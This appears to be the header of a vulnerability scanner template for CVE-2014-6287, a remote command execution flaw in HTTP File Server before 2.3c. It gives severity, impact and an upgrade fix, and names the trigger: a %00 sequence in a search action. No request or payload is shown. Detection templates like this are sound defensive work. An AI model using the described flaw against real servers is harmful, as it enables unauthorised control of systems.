id: 'CVE-2014-6287'

info:
  name: HTTP File Server <2.3c - Remote Command Execution
  author: j4vaovo
  severity: critical
  description: |
    HTTP File Server before 2.3c is susceptible to remote command execution. The findMacroMarker function in parserLib.pas allows an attacker to execute arbitrary programs via a %00 sequence in a search action. Therefore, an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to the latest version of HTTP File Server (>=2.3c) to mitigate this vulnerability.
